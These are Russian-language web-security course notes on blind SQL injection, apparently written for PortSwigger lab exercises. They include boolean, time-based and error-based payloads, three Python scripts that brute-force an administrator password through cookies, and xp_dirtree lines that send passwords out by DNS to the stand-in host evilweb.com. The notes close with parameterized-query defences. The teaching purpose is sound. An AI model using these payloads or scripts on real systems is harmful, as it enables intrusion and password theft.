# Занятие 3. SQL injection.
###### tags: `Intro to Web Security`
#### Материалы и описание для самостоятельного изучения:
- язык SQL
- [Что такое SQL и как он работает](https://gb.ru/posts/chto-takoe-sql-i-kak-on-rabotaet)
- [w3schools](https://www.w3schools.com/sql/default.asp)
- [sql-ex](https://sql-ex.ru)
- инъекции SQL
- [PortSwigger academy](https://portswigger.net/web-security/sql-injection)
- [sqlinjection.net](https://www.sqlinjection.net/tutorial/)
- [hacksplaining.com](https://www.hacksplaining.com/lessons)
## Слепые SQL инъекции
На прошлом занятии, мы не успели пройти все инъекции. Потому продолжаем.
> К сожалению, на видеозаписи нет звука
Но, посмотрев, вы могли заметить, что мы писали несколько скриптов. Прикладываем их здесь.
### черновик
```
select * from users where trackingId='awhfdajhwgd' and '1'='1'
' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='y
and 'h'='h'
password username
nh4ar0qfmdbfw3vo5zc8 administrator
=> nh4ar0qfmdbfw3vo5zc8 => h
case when '1'='1' then 1/0 else 'a'='a'
if '1'='1':
sefhasih
else
ewifaoiw
case when '1'='1' then sleep(5) else 'a'='a'
cJRWfkGzqanDtDr7'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END--
cJRWfkGzqanDtDr7'%3BSELECT+CASE+WHEN+(username='administrator'+and+substring(password,1,1)='a')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+from+users--
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
evilweb.com
//evilweb.com/a
@pass
exec master..xp_dirtree '//evilweb.com/'
------------------------------------------------
goodsite.com
username password
administrator SuperStrongPassword123!
user Password
select * from users where trackingId='awhfdajhwgd'; declare @pass varchar(1024); set @pass=(select password from users where username='adminstrator'); exec('master..xp_dirtree "//'+@pass+'.evilweb.com/"')--
test123.evilweb.com
test123
a.evilweb.com
@pass = SuperStrongPassword123!
Password //Password.evilweb.com/
'; declare @pass varchar(1024); set @pass=(select password from users where username='user'); exec('master..xp_dirtree "//'+@pass+'.evilweb.com/"')--
//SuperStrongPassword123!.evilweb.com/
//Password.evilweb.com/
"'1=1"
$username = $_POST['username']
$username = addslashes($username)
```
### brute
```python=
import requests,sys
chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM"
pas = ''
for i in range(1,21):
for char in chars:
cookies = {'TrackingId': "WN74gPYydp0eSDK2' AND (SELECT SUBSTRING(password," + str(i) +",1) FROM users WHERE username='administrator')='" + char, "session": "dNA97xZkHsWy9jEtaFf48U0zrIGU5BYG"}
r = requests.get("https://ac4f1f3b1fdc4964c0a60d2500ca00c0.web-security-academy.net/filter?category=Pets", cookies=cookies)
sys.stdout.write("\r> Trying %s..." %char)
sys.stdout.flush()
if "Welcome" in r.text:
sys.stdout.write("\r[+] Found: " + char)
sys.stdout.flush()
print(" ")
pas+=char
break
print("")
print("[+] Password is " + pas)
```
### brute time
```python=
import requests,sys
chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM"
pas = ''
for i in range(1,21):
for char in chars:
cookies = {'TrackingId': "cJRWfkGzqanDtDr7'%3BSELECT+CASE+WHEN+(username='administrator'+and+substring(password," + str(i) + ",1)='" + char + "')+THEN+pg_sleep(2)+ELSE+pg_sleep(0)+END+from+users--",
"session": "zKwQy9Pt2NoBt4I61WychwWs2XGdSO8O"}
sys.stdout.write("\r> Trying %s..." %char)
sys.stdout.flush()
r = requests.get("https://acec1f1d1f16c819c11416c300030021.web-security-academy.net/", cookies=cookies)
if r.elapsed.seconds >= 1:
sys.stdout.write("\r[+] Found: " + char)
sys.stdout.flush()
print(" ")
pas+=char
break
print("")
print("[+] Password is " + pas)
```
### brute errors
```python=
import requests,sys
chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM"
pas = ''
for i in range(1,21):
for char in chars:
cookies = {'TrackingId': "EGlGceA0eSqwHGUd'||(SELECT CASE WHEN (substr(password," + str(i) + ",1) ='" + char + "') THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'",
a "session": "k0mtXPXAMjk1iOsvGOsTmPnCZ0REoN4l"}
#print(cookies['TrackingId'])
r = requests.get("https://ac5f1f961e1de095c0ac0d1800c3008c.web-security-academy.net/", cookies=cookies)
sys.stdout.write("\r> Trying %s..." %char)
sys.stdout.flush()
if "Internal" in r.text:
sys.stdout.write("\r[+] Found: " + char)
sys.stdout.flush()
print(" ")
pas+=char
break
print("")
print("[+] Password is " + pas)
```
Продолжим слайдами со второго занятия
## Использование слепой инъекции SQL с использованием out-of-band (OAST)
Теперь предположим, что приложение выполняет один и тот же SQL-запрос, но делает это асинхронно. Приложение продолжает обработку запроса пользователя в исходном потоке и использует другой поток для выполнения SQL-запроса с использованием отслеживания cookie. Запрос по-прежнему уязвим для внедрения SQL, однако ни один из методов, описанных до сих пор, не будет работать: ответ приложения не зависит от того, возвращает ли запрос какие-либо данные, или от того, возникает ли ошибка базы данных, или от времени, затраченного на выполнение запроса.
В этой ситуации часто можно воспользоваться уязвимостью слепой инъекции SQL, запустив out-of-band сетевое взаимодействие с системой, которой вы управляете. Как и ранее, они могут запускаться условно, в зависимости от введенного условия, для вывода информации по одному биту за раз. Но что еще более важно, данные могут быть эксфильтрированы непосредственно в рамках самого сетевого взаимодействия.
Для этой цели можно использовать различные сетевые протоколы, но, как правило, наиболее эффективным является DNS (служба доменных имен). Это связано с тем, что очень многие производственные сети допускают свободный выход DNS-запросов, поскольку они необходимы для нормальной работы производственных систем.

## Как предотвратить слепые атаки SQL-инъекций?
Хотя методы, необходимые для поиска и использования уязвимостей слепой инъекции SQL, отличаются и более сложны, чем для обычной инъекции SQL, меры, необходимые для предотвращения инъекции SQL, одинаковы независимо от того, является ли уязвимость слепой или нет.
Как и в случае обычной SQL-инъекции, слепые атаки SQL-инъекции можно предотвратить за счет тщательного использования параметризованных запросов, которые гарантируют, что вводимые пользователем данные не могут повлиять на структуру предполагаемого SQL-запроса.

## Как предотвратить внедрение SQL
Большинство случаев внедрения SQL можно предотвратить, используя параметризованные запросы (также известные как подготовленные операторы) вместо объединения строк в запросе.
Следующий код уязвим для внедрения SQL, поскольку вводимые пользователем данные объединяются непосредственно в запрос:
`String query = "SELECT * FROM products WHERE category = '"+ input + "'";`
`Statement statement = connection.createStatement();`
`ResultSet resultSet = statement.executeQuery(query);`
Этот код можно легко переписать таким образом, чтобы пользовательский ввод не мешал структуре запроса:
`PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");`
`statement.setString(1, input);`
`ResultSet resultSet = statement.executeQuery();`

## Вывод
Чтобы параметризованный запрос эффективно предотвращал внедрение SQL, строка, используемая в запросе, всегда должна быть жестко запрограммированной константой и никогда не должна содержать никаких переменных данных из любого источника. Слишком легко ошибиться в отношении возможного происхождения данных или внести изменения в другой код, чтобы нарушить предположения о том, какие данные испорчены.
